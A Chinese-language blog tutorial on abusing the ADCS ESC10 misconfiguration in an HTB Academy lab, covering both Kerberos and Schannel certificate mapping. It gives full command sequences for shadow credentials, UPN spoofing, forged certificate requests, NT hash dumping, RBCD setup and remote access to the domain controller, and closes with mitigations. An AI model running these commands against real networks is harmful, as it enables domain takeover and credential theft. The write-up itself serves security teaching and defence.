深入解析ADCS攻击系列:利用ESC10通过配置错误的注册表实现权限提升

本文详细剖析了Active Directory证书服务(ADCS)中的ESC10漏洞,该漏洞源于注册表配置不当,影响了证书映射的安全性。文章通过逐步演示,展示了攻击者如何利用此漏洞,通过修改用户主体名称(UPN)来模拟高权限账户或域控制器机器账户,最终实现域控接管。

ADCS攻击系列:滥用ESC10通过配置错误的注册表实现权限提升

Active Directory证书服务(ADCS)负责在AD环境中颁发和管理数字证书。这些证书用于加密和验证用户身份。

与AD的许多组件一样,ADCS自身也存在漏洞,攻击者可利用这些漏洞进行权限提升和域控接管。这些弱点使用“ESC”前缀加数字(如ESC1、ESC2等)来引用特定的错误配置。

在本ADCS系列中,我将以实践性、分步骤的方式逐一剖析错误配置。今天,我们将探讨ESC10,它涉及配置错误的注册表设置,这些设置削弱了证书映射的安全性。

在演示中,我将使用HTB Academy的“ADCS攻击模块”作为实验环境。

目录

  • 理解ESC10
    • StrongCertificateBindingEnforcement(Kerberos映射)
    • CertificateMappingMethods(Schannel映射)
  • ESC10利用要求
  • 所需工具
  • 滥用ESC10
    • Kerberos映射
    • Schannel映射
  • 缓解措施
  • 资源

理解ESC10

ESC10建立在ESC9的基础之上,因为它也涉及证书映射问题,但这次问题源于配置错误的注册表设置,这些设置决定了证书如何映射到用户。

在前一篇文章《ADCS攻击系列:滥用ESC9通过弱证书映射实现权限提升》中,我们看到了证书映射在Active Directory中是如何工作的。AD通过检查证书中的用户主体名称(UPN)、使用者可选名称(SAN)甚至嵌入的objectSid等字段来验证证书所有权。

从2023年的KB5014754开始,微软开始执行更严格的验证检查以加固此过程。这些控制依赖于两个主要的注册表项:

  • StrongCertificateBindingEnforcement
  • CertificateMappingMethods

StrongCertificateBindingEnforcement(Kerberos映射)

此注册表项定义了域控制器在Kerberos身份验证期间验证证书的严格程度:

  • 禁用模式(0):不进行强验证检查。
  • 兼容模式(1):执行一些检查,但如果账户在证书颁发之前就已存在,证书可能仍然有效。
  • 完全强制模式(2):严格的验证检查,如果映射不匹配,则身份验证失败。

CertificateMappingMethods(Schannel映射)

此注册表项定义了证书如何通过Schannel协议(如LDAPS)进行映射。它接受按位标志:

  • 0x01:使用者/颁发者
  • 0x02:仅颁发者
  • 0x04:用户主体名称(UPN)
  • 0x08:S4U2Self
  • 0x10:S4U2Self显式

如果启用了UPN映射位0x04并且我们控制了一个用户,我们只需将其UPN更改为administrator。然后,当我们请求带有该UPN的证书时,Active Directory会错误地将其映射到实际的Administrator账户。

ESC10利用要求

由于ESC10是关于注册表错误配置的,而不是模板错误配置,因此作为低权限用户无法可靠地识别它。没有域管理员权限,我们无法读取DC的注册表。

这意味着发现过程通常是试错法,我们尝试流程并查看什么能成功。以下是需要检查的内容:

  • 控制一个拥有GenericWrite、WriteOwner或WriteDACL等权限的用户或机器账户。
  • 任何允许客户端身份验证的证书模板,检查内置模板(如“User”模板)是否已启用。
  • 对于滥用Kerberos映射,需要将StrongCertificateBindingEnforcement设置为0——这种情况很罕见,因为微软正推动在默认情况下(当未设置该键时)强制执行完全强制模式(2)。
  • 对于滥用Schannel,需要启用CertificateMappingMethods0x04 UPN映射标志,此标志默认禁用——同样,在现代环境中也不再常见。

注意:2025年9月更新后,此键将不再被遵守。所有DC都将强制执行完全强制模式(2),且无法回滚。

所需工具

  • Linux:Certipy,Impacket,NetExec

滥用ESC10

利用ESC10取决于身份验证通道(Kerberos或Schannel)以及我们目标是用户账户还是机器账户。整体流程与我们在ESC9文章中介绍的内容类似。

Kerberos映射

StrongCertificateBindingEnforcement设置为0时,KDC会跳过所有强绑定检查,包括基于证书的Kerberos登录期间的objectSid检查。

这使得映射变得宽松,允许我们更改UPN并模拟任何域用户(通过将其设置为类似administrator@local.lab的形式),并让KDC接受该证书为该账户。

由于这是Kerberos,成功的证书登录将为我们提供目标账户(作为该用户)或整个域中机器的TGT。

1. 识别我们可以控制的用户

首先,我们需要找到一个我们可以控制的用户账户,一个我们拥有诸如GenericWrite、WriteDACL或GenericAll等权限的账户,这些权限允许我们修改UPN等属性。

有了GenericWrite,我们可以重置用户的密码并访问该账户。WriteDACL更进一步,允许我们编辑用户的DACL以授予自己完全控制权。而有了GenericAll,我们已经拥有对对象的完全控制权。

我们可以使用BloodHound来查找拥有这些权限的用户。我们当前的用户是blwasp,因此我们将在BloodHound中查找“出站对象控制”权限。

如下图所示,blwasp对多个用户拥有GenericAll权限。我们将在此攻击中使用james。

blwasp用户对james拥有GenericAll权限

2. 验证我们对用户的权限

我们可以使用Impacket的dacledit模块来确认我们对目标用户james的权限。

1
impacket-dacledit -action read -dc-ip 10.129.228.236 lab.local/blwasp:'Password123!' -principal blwasp -target james

如输出所示,blwasp对james拥有“FullControl”,确认我们可以继续修改其属性。

blwasp对james拥有完全控制权限

如果我们对目标用户只有WriteOwner或WriteDACL权限,我们需要先修改DACL以授予自己完全控制权。这也可以通过dacledit完成。以下命令授予当前用户对目标用户对象(james)的完全控制权。

1
impacket-dacledit -action write -rights 'FullControl' -principal blwasp -target james -dc-ip 10.129.228.236 lab.local/blwasp:'Password123!'

授予当前用户对目标用户的完全控制权

3. 获取目标用户凭据

完全控制目标用户james后,我们有几个选择。我们可以重置他们的密码,也可以使用影子凭据添加额外的凭据。

为了贴合现实场景(我们希望避免重置用户密码并造成操作中断),我们将采用影子凭据方法。

影子凭据允许我们生成自己的密钥对并将其注入目标账户的msDS-KeyCredentialLink属性。这为我们提供了一种以用户james身份进行身份验证的方式,而无需更改其实际密码。

我们将使用Certipy的shadow命令:

1
certipy-ad shadow auto -u 'blwasp@lab.local' -p 'Password123!' -account james -dc-ip 10.129.228.236

为James创建影子凭据

4. 修改UPN

现在,为了匹配我们想要模拟的身份,在本例中是administrator(域管理员)。这一步很重要,因为稍后我们请求证书时,嵌入证书中的UPN是KDC将用于账户映射的内容。

如果UPN与特权账户匹配,KDC会将证书映射到该账户并允许我们模拟它。要更新用户james的UPN,我们可以使用以下Certipy命令。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn administrator@lab.local -dc-ip 10.129.228.236

将james的UPN修改为administrator

5. 以模拟用户身份请求证书

在更新目标用户james的UPN并添加影子凭据后,我们现在可以使用易受攻击的模板以james的身份请求证书。

我们可以使用内置的User模板(如果已启用),或任何其他易受攻击的模板,只要它满足以下条件:

  • 允许客户端身份验证(扩展密钥用法:客户端身份验证)
  • 具有允许低权限用户注册的宽松注册权限,例如Domain Users、Everyone或Authenticated Users。

要请求证书,我们可以使用Certipy中的req选项:

1
certipy-ad req -u 'james@lab.local' -hashes 7facdc498ed1680c4fd1448319a8c04f -ca lab-LAB-DC-CA -template User -dc-ip 10.129.228.236 -debug

由于UPN现在与Administrator匹配,证书在身份验证期间将被映射到Administrator账户,允许我们模拟他们。

使用James的哈希请求证书

6. 恢复更改

获取证书后,我们需要将james的UPN恢复为其原始值,以避免身份验证问题。

如果UPN保持为administrator@lab.local,DC可能会将证书映射到错误的对象(在本例中,映射到james而不是真正的Administrator)。这可能在尝试请求TGT时触发名称不匹配错误甚至KDC_ERR_C_PRINCIPAL_UNKNOWN。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn james@lab.local -dc-ip 10.129.228.236

恢复James账户的更改

7. 转储模拟账户的NT哈希

现在我们有了证书,可以使用auth命令以域管理员身份进行身份验证并转储NT哈希:

1
certipy-ad auth -pfx administrator.pfx -domain lab.local -dc-ip 10.129.228.236

Administrator哈希

8. 使用NetExec验证哈希

接下来,使用nxc通过运行以下命令来验证NT哈希:

1
nxc ldap 10.129.228.236 -u administrator -H 2b576acbe6bcfda7294d6bd18041b8fe -d lab.local

验证域管理员哈希

Schannel映射

CertificateMappingMethods设置为UPN映射(0x04)时,AD信任任何具有匹配UPN的证书;不强制执行强绑定。

这意味着我们可以修改UPN以匹配高权限账户,并且证书将被接受为该账户。

在基于Schannel的身份验证(通常通过LDAPS使用)中,我们无法像在Kerberos案例中那样使用用户证书进行身份验证。Schannel身份验证允许机器证书对目标进行身份验证。

因此,模拟域用户(如域管理员)在这里没有帮助。相反,我们将模拟DC机器账户DC01$@domain.local以访问DC。

步骤与Kerberos案例类似,但这次我们将目标UPN修改为DC账户,而不是域管理员账户。

1. 识别我们可以控制的用户

与之前相同,我们需要控制一个用户或机器对象,以便我们可以修改其UPN进行模拟。我们将再次使用BloodHound来检查当前用户blwasp拥有ACL权限的用户或机器。

我们之前知道用户blwasp对james拥有GenericAll权限。

blwasp对james拥有GenericAll权限

2. 添加影子凭据

与之前相同,我们将使用Certipy创建影子凭据:

1
certipy-ad shadow auto -u 'blwasp@lab.local' -p 'Password123!' -account james -dc-ip 10.129.228.236

向james账户添加影子凭据

3. 修改UPN

现在我们将修改UPN。但与Kerberos案例中将其设置为域管理员用户不同,我们将为其设置一个DC机器账户的UPN——在本例中,对于Schannel基于证书的身份验证,我们设置为LAB-DC.LAB.LOCAL

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn 'lab-dc$@lab.local' -dc-ip 10.129.228.236

使用DC机器账户更新james

确保在机器账户名称中包含$并将其格式化为有效的UPN。

4. 以模拟机器账户身份请求证书

现在我们可以使用User模板为james请求证书。由于我们将james的UPN更新为DC的UPN(LAB-DC$@lab.local),生成的证书现在应映射到DC机器账户。

1
certipy-ad req -u 'james@lab.local' -hashes 7facdc498ed1680c4fd1448319a8c04f -ca lab-LAB-DC-CA -template User -dc-ip 10.129.228.236 -debug

5. 恢复更改

获取证书后,我们需要将james的UPN恢复为其原始值,以避免身份验证问题,例如证书映射到错误的对象或触发KDC_ERR_C_PRINCIPAL_UNKNOWN。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn james@lab.local -dc-ip 10.129.228.236

6. 通过Schannel连接到DC

接下来,我们使用从滥用ESC10获得的证书对域控制器进行身份验证。Certipy提供了-ldap-shell选项,允许我们通过Schannel(LDAPS)进行绑定。

1
certipy-ad auth -pfx lab-dc.pfx -domain lab.local -dc-ip 10.129.228.236 -ldap-shell

如下图所示,我们成功地以LAB\DC$身份通过LDAPS进行了身份验证。

使用lab-dc.pfx证书通过LDAPS访问DC

虽然这不会像我们在获取TGT后通过Kerberos获得交互式shell那样,但Certipy中的LDAP shell确实提供了一些命令,可用于发起攻击,例如基于资源的约束委派(RBCD),以完全接管DC。

LDAP shell命令

RBCD,简而言之,是在目标机器上配置的一种设置,用于定义允许哪些用户或计算机模拟其他用户到该机器。

只有在有权编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的情况下,才能修改受信任账户列表,允许我们添加我们控制的用户或机器。

在我们的案例中,将添加一个新的计算机账户,并设置DC机器信任我们新创建的账户的RBCD。

7. 创建新的计算机账户

现在我们已经通过LDAPS(Schannel)对域控制器进行了身份验证,我们可以使用Certipy的LDAP shell中的内置add_computer命令创建一个新的计算机账户。

我们将创建一个名为rbcd-test$、密码为PasswordTest123!的机器账户。在LDAP shell中,运行以下命令:

1
add_computer rbcd-test PasswordTest123!

添加完成后,我们将完全控制rbcd-test$,并可以在下一步中将其用于配置RBCD。

添加新的计算机账户

8. 在DC上设置RBCD

现在我们已经创建了机器账户(rbcd-test$),下一步是配置RBCD,使其能够模拟用户到DC(lab-dc$)。

我们将使用Certipy的LDAP shell中的set_rbcd命令来实现,该命令修改DC计算机对象上的msDS-AllowedToActOnBehalfOfOtherIdentity属性,以包含我们的新机器账户。

1
set_rbcd lab-dc$ rbcd-test$

如下图所示,rbcd-test$账户被添加到允许模拟用户到lab-dc$的受信任账户列表中。

在DC上配置RBCD

现在我们有了账户rbcd-test$,它可以模拟任何用户来访问DC。我们必须切换到Kerberos来获取服务票据(ST)并交互式地访问DC。

Schannel允许执行LDAP绑定操作,但它不会授予服务票据或允许你作为另一个用户与SMB或WinRM等服务交互。那是Kerberos的工作。

Schannel身份验证可以为攻击奠定基础,但执行攻击需要Kerberos。

9. 通过Kerberos身份验证获取服务票据

现在RBCD已配置,我们可以使用我们控制的机器账户请求服务票据(TGS)以访问诸如CIFS(用于SMB访问)或HOST(用于WinRM访问)等服务。

我们将模拟Administrator账户:

1
impacket-getST -spn cifs/LAB-DC.LAB.LOCAL -impersonate administrator -dc-ip 10.129.228.236 lab.local/'rbcd-test$':'PasswordTest123!'

如下图所示,如果成功,这会将票据保存在名为administrator@cifs_LAB-DC.LAB.LOCAL@LAB.LOCAL.ccache的.ccache文件中。

获取管理员的ST票据

注意:在现实场景中,不要直接模拟administrator账户,而应在BloodHound中查找一个实际的域管理员进行模拟。这样可以避免因用户不存在而引发“Client not found in Kerberos database”等问题。

10. 设置Kerberos票据

之后,设置KRB5CCNAME变量指向该票据,以便wmiexec或smbclient等工具可以使用它,然后使用klist命令检查票据是否正确导入。

1
2
3
4
# 设置Kerberos票据
export KRB5CCNAME=administrator@cifs_LAB-DC.LAB.LOCAL@LAB.LOCAL.ccache
# 检查导入的票据
klist

为KRB5CCNAME设置Kerberos票据

要清除当前的Kerberos票据:

1
unset KRB5CCNAME

要设置另一个票据:

1
export KRB5CCNAME=TicketName.ccache

11. 访问DC

最后,我们可以使用smbclient或wmiexec,通过获得的票据交互式地访问DC。

对于SMB访问:

1
impacket-smbclient -k -no-pass administrator@LAB-DC.LAB.LOCAL -dc-ip 10.129.228.236

对于通过WMI执行命令:

1
impacket-wmiexec -k -no-pass administrator@LAB-DC.LAB.LOCAL -dc-ip 10.129.228.236

通过WMI访问DC

缓解措施

  • 如果尚未应用,请应用KB5014754,该更新强制执行强证书映射。
  • 如果未应用补丁,请将StrongCertificateBindingEnforcement设置为2(完全强制)或至少为1(兼容模式)。
  • 禁用弱UPN映射,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel中移除或避免使用值0x04——0x04允许UPN匹配,这正是ESC10所滥用的。

总结

今天,我们探讨了如何滥用另一个ADCS漏洞ESC10,它建立在ESC9的基础之上,针对通过配置错误的注册表设置进行的证书映射。

我们展示了攻击者如何利用基于Kerberos和Schannel的身份验证来模拟特权用户、配置RBCD,并最终完全控制域。打补丁和注册表加固对于防止此攻击至关重要。

感谢阅读!

资源

  • Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!
  • KB5014754: Certificate-based authentication changes on Windows domain controllers
  • ADCS Exploitation Part 1: Common Attacks
  • Skidaddle Skideldi — I just pwnd your PKI
  • ADCS Attack Paths in BloodHound — Part 3
  • Certificates and Pwnage and Patches, Oh My!
  • Defending Your Directory: An Expert Guide to Fortifying Active Directory Certificate Services (ADCS) Against Exploitation
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计